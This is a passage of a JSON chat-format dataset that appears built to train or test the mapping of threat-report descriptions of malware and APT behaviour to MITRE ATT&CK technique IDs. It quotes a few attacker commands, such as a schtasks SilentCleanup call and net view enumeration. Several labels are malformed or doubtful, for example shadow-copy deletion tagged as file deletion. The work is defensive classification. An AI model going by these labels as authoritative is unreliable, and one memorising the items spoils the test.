                "content": "Backdating, or timestomping, is a technique used by many threat actors which involves the manipulation of the creation timestamps or compilation date of a file in order to thwart analysis attempts (anti-forensics). It is suspected that the creation date of most of the files mentioned in this report were tampered with by the threat actors and backdated to 2016"
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Catchamas obtains application windows titles and then determines which windows to perform Screen Capture on."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Silence has deleted artifacts, including scheduled tasks, communicates files from the C2 and other logs."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gazer can establish persistence by creating a .lnk file in the Start menu."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To do this, Tick uses a number of publicly available hacktools such as Mimikatz, GSecdump, and Windows Credential Editor"
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The BRONZE BUTLER uploader or malware the uploader uses \"command\" to delete the RAR archives after they have been exfiltrated."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SamSam uses custom batch scripts to execute some of its components."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "will sleep until after a date/time value loaded from a .dat file has passed. This allows the RAT to remain dormant until a set date, which could allow a means to regain access if other parts of the actors' toolset are removed from a victim."
            },
            {
                "role": "assistant",
                "content": "T1108 - Redundant Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ran genuinely-signed executables from Symantec and McAfee which loaded a malicious DLL called rastls.dll."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT37 has used the command-line interface."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WindTail can be delivered as a compressed, encrypted, and encoded payload."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Threat Group-3390 tool can read and decrypt stored Registry values."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used PowerShell scripts to download and execute programs in memory, without writing to disk."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EvilBunny has exploited CVE-2011-4369, a vulnerability in the PRC component in Adobe Reader."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kinsing was executed with an Ubuntu container entry point that runs shell scripts."
            },
            {
                "role": "assistant",
                "content": "T1609 - Kubernetes Exec Into Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This time, APT15 opted for a DNS based backdoor: RoyalDNS. The persistence mechanism used by RoyalDNS was achieved through a service called ‘Nwsapagent"
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "At this stage the malware disables the Windows screen saver, then changes both the desktop wallpaper and the lock screen images to a custom image. These are the pair of identical JPEG and BMP images presenting the logo of Iran’s Railways and the message similar to the one displayed on the platform boards of different railway stations in Iran"
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In one example, BRONZE UNION actors leveraged initial web shell access on Internet-facing systems to conduct internal reconnaissance, including domain enumeration and network state, via ipconfig, net use, net user, and net view commands"
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GravityRAT has a feature to list the available services on the system."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Bazar loader files are dual-extension executable files (such as PreviewReport.DOC.exe) signed with fake certificates such as VB CORPORATE PTY. This is consistent with the Trickbot group, which notoriously abuses the trust of certificate authorities by using signed loaders and malware to evade security product detection"
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT1 has used RAR to compress files before moving them outside of the victim network."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "deletes shadow copies from the victim."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZIRCONIUM has exploited CVE-2017-0005 for local privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In another engagement, we observed the adversary using Mimikatz (the official signed version) to access credentials for logon (T1003.001: LSASS Memory"
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lokibot embedded the commands \"schtasks /Run /TN \\Microsoft\\Windows\\DiskCleanup\\SilentCleanup /I\" inside a batch script."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NBTscan can list active users on the system."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses the net user command."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Winnti for Windows HTTP/S C2 mode can make use of a local proxy."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WannaCry attempts to kill processes associated with Exchange, Microsoft SQL Server, and MySQL to make it possible to encrypt their data stores."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The button would then lead to the download a RAR archive named Adobe_Flash_Install.rar. This archive was designed to fool the targeted user into infected themselves with a Cobalt Strike implant. Details on the contents of this file are included later in this report"
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The file name AcroRD32.exe, a legitimate process name for Adobe's Acrobat Reader, was used by  as a name for malware."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bankshot gathers domain and account names/information through process monitoring."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account', 'T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used CVE-2014-6324 to escalate privileges."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CSPY Downloader can use GET requests to download additional payloads from C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chinese state-sponsored cyber actors have been observed using benign executables which used Dynamic Link Library (DLL) loadorder hijacking to activate the malware installation process."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Interestingly as we continued to expand and pivot in our data set, one of the C2 IPs used by an IRC bot payload from Magic Hound was found to be the same IP used to deliver a different IRC bot called MPK"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RainyDay can use HTTP in C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Astaroth uses a fromCharCode() deobfuscation method to avoid explicitly writing execution commands and to hide its code."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Crutch is able to bypass some security layers by abusing legitimate infrastructure – here Dropbox – in order to blend into normal network traffic while exfiltrating stolen documents and receiving commands from its operators"
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It communicates with ftp.bytehost31[.]org via FTP for command and control (C2)"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remsec can obtain information about the current user."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used regsvr32 for execution."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HotCroissant has the ability to collect the username on the infected host."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious modules in regsvr32.exe memory After the Irdsnhrxxxfery98 module is loaded, the malware searches different processes to continue its malicious activity depending on the way Irdsnhrxxxfery64 was loaded"
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kobalos can record the IP address of the target machine."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If running with \"root\" permissions, OSX_OCEANLOTUS.D can create a persistence file in the folder \"/Library/LaunchDaemons\"."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In 2018, CTU researchers observed several GOLD KINGSWOOD campaigns involving SpicyOmelette, a tool used by the group during initial exploitation of an organization. This sophisticated JavaScript remote access tool is generally delivered via phishing, and it uses multiple defense evasion techniques to hinder prevention and detection activities. GOLD KINGSWOOD delivered SpicyOmelette through a phishing email containing a shortened link that appeared to be a PDF document attachment. When clicked, the link used the Google AppEngine to redirect the system to a GOLD KINGSWOOD-controlled Amazon Web Services (AWS) URL that installed a signed JavaScript file, which was SpicyOmelette"
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "On Sunday August 24, 2014 we observed a spear phish email sent to a Taiwanese government ministry. Attached to this email was a malicious Microsoft Word document (MD5: f6fafb7c30b1114befc93f39d0698560) that exploited CVE-2012-0158. It is worth noting that this email appeared to have been sent from another Taiwanese Government employee, implying that the email was sent from a valid but compromised account"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File', 'T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lokibot has used \"cmd /c\" commands embedded within batch scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of keylogging."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "captures screenshots based on specific keywords in the window’s title."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used the meek domain fronting plugin for Tor to hide the destination of C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This final cluster appears to serve as the C2 infrastructure for a custom remote administration tool called Pteranodon. It is capable of downloading and executing files, capturing screenshots and executing arbitrary commands on compromised systems"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Metamorfo has collected the hostname and operating system version from the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OSX_OCEANLOTUS.D can collect the network interface MAC address on the infected host."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MacMa can enumerate running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FlawedAmmyy has used `rundll32` for execution."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Group leveraged an open-source tool called SoftPerfect Network Scanner to perform network scanning."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actors used a Powershell cmdlet (NewManagementRoleAssignment) to grant the 'ApplicationImpersonation' role to a compromised account."
            },
            {
                "role": "assistant",
                "content": "T1098.002 - Account Manipulation: Additional Email Delegate Permissions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EVILNUM has used a one-way communication method via GitLab and Digital Point to perform C2."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Many  samples were programmed using Borland Delphi, which will mangle the default PE compile timestamp of a file."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Comnie will make requests to these URLs, looking for base64-encoded data after an identifier of ‘magnet:/’, as seen in the example below: Figure 14 GitHub storing Comnie C2 information In the example above, the C2 information is being stored within the user’s URL parameter within GitHub"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service', 'T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FormatLoader’s main purpose is to infect the machine with an additional malicious file by downloading the binary to the compromised machine. To do so, the malware adds digits from the hardcoded range one by one to the hardcoded format strings, and accesses the download links."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The OsInfo function in Komplex collects the current running username."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware ISMAgent falls back to its DNS tunneling mechanism if it is unable to reach the C2 server over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Taidoor can search for specific files."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ursnif has dropped payload and configuration files to disk. Ursnif has also been used to download and execute additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains modules to infect USB sticks and spread laterally to other Windows systems the stick is plugged into using autorun functionality."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cuba has executed hidden PowerShell windows."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RATANKBA runs the \"net view /domain\" and \"net view\" commands."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT37 has a function in the initial dropper to bypass Windows UAC in order to execute the next payload with higher privileges."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUGARDUMP can identify Chrome, Opera, Edge Chromium, and Firefox browsers, including version number, on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Patchwork payload has searched all fixed drives on the victim for files matching a specified list of extensions."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has dumped credentials, including by using ."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "encoded C2 traffic with base64."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
